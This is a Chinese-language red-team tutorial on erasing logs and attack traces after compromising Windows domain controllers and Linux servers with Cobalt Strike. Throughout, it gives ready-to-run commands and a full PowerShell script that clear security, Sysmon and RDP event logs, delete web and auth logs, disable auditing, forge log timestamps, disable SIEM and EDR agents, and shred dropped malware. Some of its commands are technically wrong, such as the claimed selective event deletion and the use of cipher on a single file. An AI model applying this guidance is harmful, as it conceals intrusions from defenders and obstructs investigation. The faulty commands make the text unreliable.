目录
在红队行动中,清理日志和攻击痕迹是确保隐匿性和长期控制目标系统的关键步骤。
🕵️♂️ 一、清理日志的重要性
日志清理是红队行动的最后一步,旨在隐藏攻击痕迹、规避溯源并维持持久化访问。未清理的日志可能暴露攻击者的IP、工具、行为甚至身份,尤其在渗透域控主机后,日志清理尤为关键,因为域控记录了整个网络的核心活动。
核心目标
隐藏痕迹:防止管理员或安全工具(如SIEM、EDR)检测异常。
规避溯源:降低被追踪到C2服务器或真实身份的风险。
维持控制:通过清理痕迹,确保长期隐匿访问。
案例:域控渗透后日志暴露
在一场红队演习中,攻击者通过Cobalt Strike成功提权至域控,但未清理安全日志(Security Log)。蓝队通过分析事件ID 4624(登录成功)和ID 4672(权限分配),发现了异常的RDP登录和权限提升行为,最终溯源至C2服务器。因此,日志清理是红队行动的必备环节。
🖥️ 二、Windows系统日志清理
假设通过Cobalt Strike渗透了一台Windows域控服务器,以下是主要日志类型及清理方法,结合实战案例。
1. 事件日志(Event Logs)
事件日志记录系统活动(如登录、权限更改),分为系统日志(System)、安全日志(Security)和应用程序日志(Application)。
清理方法:
使用
wevtutil
清空日志:wevtutil cl System wevtutil cl Security wevtutil cl Application
通过PowerShell:
Clear-EventLog -LogName System, Security, Application
高级技巧:选择性删除特定事件(如事件ID 4624)以降低SIEM警报触发概率:
wevtutil qe Security /q:"*[System[(EventID=4624)]]" | Remove-Item
案例:在一台域控服务器上,攻击者使用wevtutil cl Security
清空安全日志,但触发了SIEM的“日志清空”警报。改进方案是使用PowerShell脚本选择性删除特定登录事件,伪造正常活动日志以混淆蓝队。
2. Web日志(IIS Logs)
如果目标运行IIS,Web请求日志可能暴露C2通信的IP或URL。
清理方法:
删除日志文件(默认路径:
C:\inetpub\logs\LogFiles
):del /f /q "C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log"
禁用IIS日志记录(临时):
Set-WebConfigurationProperty -Filter "system.webServer/httpLogging" -Name dontLog -Value $true
案例:攻击者通过IIS服务器的WebShell执行C2命令,未清理access.log
,导致蓝队通过日志中的异常POST请求定位了C2域名。清理后,攻击者通过禁用日志记录进一步降低暴露风险。
3. PowerShell日志
Cobalt Strike常通过PowerShell执行命令,历史记录可能泄露攻击细节。
清理方法:
删除PowerShell历史文件:
del /f /q "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
禁用PowerShell日志记录:
Set-PSReadLineOption -HistorySaveStyle SaveNothing
案例:攻击者通过PowerShell执行了Cobalt Strike的Beacon加载命令,未清理历史文件,导致蓝队在ConsoleHost_history.txt
中发现了Invoke-WebRequest
调用C2的记录。清理后,攻击者通过禁用日志规避了类似问题。
4. 其他日志
RDP日志:清理远程桌面连接记录:
wevtutil cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
Sysmon日志(若安装):
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
DNS日志(若域控兼任DNS服务器):
del /f /q "C:\Windows\System32\dns\dns.log"
Windows Defender日志:
del /f /q "C:\ProgramData\Microsoft\Windows Defender\Support\*.log"
扩展知识点:Sysmon日志可能记录详细的进程创建和网络连接,清理时需检查其配置文件以确认日志路径。若目标使用EDR(如CrowdStrike),需通过内存注入绕过其监控。
🐧 三、Linux系统日志清理
假设通过Cobalt Strike渗透了一台Linux Web服务器,以下是日志清理步骤。
1. 系统日志(Syslog)
记录系统事件,通常位于/var/log/syslog
或/var/log/messages
。
清理方法:
清空文件:
> /var/log/syslog
删除轮转日志:
rm -f /var/log/syslog.*
案例:攻击者在Linux服务器上部署了后门,未清理/var/log/messages
,导致蓝队发现了异常的sshd
登录记录。清理后,攻击者通过伪造日志内容(如写入正常登录记录)混淆取证。
2. 认证日志(Auth Logs)
记录登录和sudo操作,位于/var/log/auth.log
。
清理方法:
清空文件:
> /var/log/auth.log
删除备份:
rm -f /var/log/auth.log.*
3. Web服务器日志
Apache:
rm -f /var/log/apache2/access.log rm -f /var/log/apache2/error.log
Nginx:
rm -f /var/log/nginx/access.log rm -f /var/log/nginx/error.log
4. 其他日志
内核日志:
> /var/log/kern.log
Cron日志:
> /var/log/cron.log
数据库日志(如MySQL):
rm -f /var/log/mysql/error.log
扩展知识点:Linux日志可能是符号链接,清理前需确认实际文件路径:
ls -l /var/log/syslog
若目标使用rsyslog将日志同步到远程服务器,需通过提权修改/etc/rsyslog.conf
禁用远程日志。
🗑️ 四、删除攻击工具与文件
清理上传的木马、后门或临时文件是隐藏痕迹的关键。
1. Windows系统
恶意文件:
del /f /q "C:\path\to\malicious.exe"
临时文件:
del /f /q "%TEMP%\*.*"
注册表项(如持久化后门):
reg delete "HKLM\Software\MaliciousKey" /f
安全删除(覆盖文件内容):
cipher /w:C:\path\to\file
案例:攻击者上传了Cobalt Strike Beacon至%TEMP%
,未清理被Defender扫描发现。改进方案是使用cipher
覆盖文件内容后删除。
2. Linux系统
恶意文件:
rm -f /path/to/malicious.sh
临时文件:
rm -rf /tmp/*
Crontab条目:
crontab -r
安全删除:
shred -u /path/to/file
案例:攻击者在/tmp
部署了后门脚本,未清理被蓝队通过文件时间戳发现。改进方案是使用shred
覆盖后删除。
🔐 五、高级红队对抗技术
从红队高级视角,清理痕迹需关注以下细节。
1. 日志轮转与时间戳
问题:清空日志可能留下时间空白,触发SIEM警报。
解决:伪造日志内容,保持时间戳一致:
echo "Normal activity" >> /var/log/syslog touch -t 202506221200 /var/log/syslog
2. 规避SIEM与EDR
问题:SIEM可能同步日志至远程服务器,EDR(如CrowdStrike)实时监控。
解决:
禁用EDR进程(如通过内存注入修改其行为)。
修改SIEM客户端配置(如
/etc/splunk/inputs.conf
)。
案例:攻击者清空本地日志,但Splunk已同步数据至远程服务器。改进方案是提权后禁用Splunk Agent。
3. 内存痕迹清理
问题:Cobalt Strike的内存注入可能在RAM中留下痕迹。
解决:通过重启清除内存(需权衡持久化需求)或使用内存擦除工具(如MemoryZeus)。
案例:蓝队通过内存取证发现了Beacon的内存特征,攻击者通过重启规避了检测。
4. 网络流量规避
问题:IDS/IPS记录了C2流量。
解决:使用代理、VPN或Tor隐藏流量,结合加密协议(如WebSocket)降低特征暴露。
案例:攻击者的HTTP C2流量被IDS拦截,改进方案是切换至DNS隧道。
5. 文件系统元数据
问题:删除文件后,元数据可能被恢复。
解决:使用
cipher
(Windows)或shred
(Linux)覆盖内容。
📖 六、其余知识点
1. Windows事件日志恢复
问题:专业取证工具(如Event Log Explorer)可能恢复已删除的日志。
解决:修改日志文件结构(如覆盖
C:\Windows\System32\winevt\Logs\*.evtx
)。
2. Linux日志符号链接
问题:日志文件可能是符号链接,清理错误可能无效。
解决:检查链接并清理实际文件:
readlink /var/log/syslog
3. 审计策略调整
问题:Windows默认记录大量事件。
解决:修改审计策略减少记录(谨慎使用,可能触发警报):
auditpol /set /category:"Logon/Logoff" /success:disable
4. SSD安全删除
问题:SSD上的文件删除易恢复。
解决:使用专业工具(如secure-erase)擦除数据。
5. EDR对抗
问题:EDR实时监控可能拦截清理操作。
解决:通过内存注入或Hook API(如NtWriteFile)绕过EDR。
🛠️ 七、红队清理脚本示例
以下是一个简单的Windows日志清理脚本,供红队参考。
# Windows 日志清理脚本 # 清理事件日志 Clear-EventLog -LogName System, Security, Application -ErrorAction SilentlyContinue wevtutil cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational" wevtutil cl "Microsoft-Windows-Sysmon/Operational" -ErrorAction SilentlyContinue # 清理 PowerShell 历史 Remove-Item -Path "$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force -ErrorAction SilentlyContinue # 清理 IIS 日志 Remove-Item -Path "C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log" -Force -ErrorAction SilentlyContinue # 清理临时文件 Remove-Item -Path "$env:TEMP\*" -Recurse -Force -ErrorAction SilentlyContinue # 安全删除指定文件 if (Test-Path "C:\path\to\malicious.exe") { cipher /w:"C:\path\to\malicious.exe" Remove-Item -Path "C:\path\to\malicious.exe" -Force } Write-Output "Logs and files cleared successfully."
使用方法:
保存为
clear_logs.ps1
。通过Cobalt Strike的PowerShell模块执行:
powershell -ExecutionPolicy Bypass -File clear_logs.ps1
📊 八、总结与红队建议
清理日志和攻击痕迹是红队行动的必备技能,直接影响行动的隐匿性和成功率。通过结合Windows和Linux的清理方法、伪造日志、规避SIEM/EDR以及安全删除文件,红队可显著降低被检测的风险。
建议:
事前准备:渗透前确认目标的日志配置(如SIEM、EDR)。
动态调整:根据环境选择性清理,避免触发警报。
持续学习:关注最新的EDR和取证技术,优化对抗策略。
实践验证:在HTB或自建靶场测试清理脚本。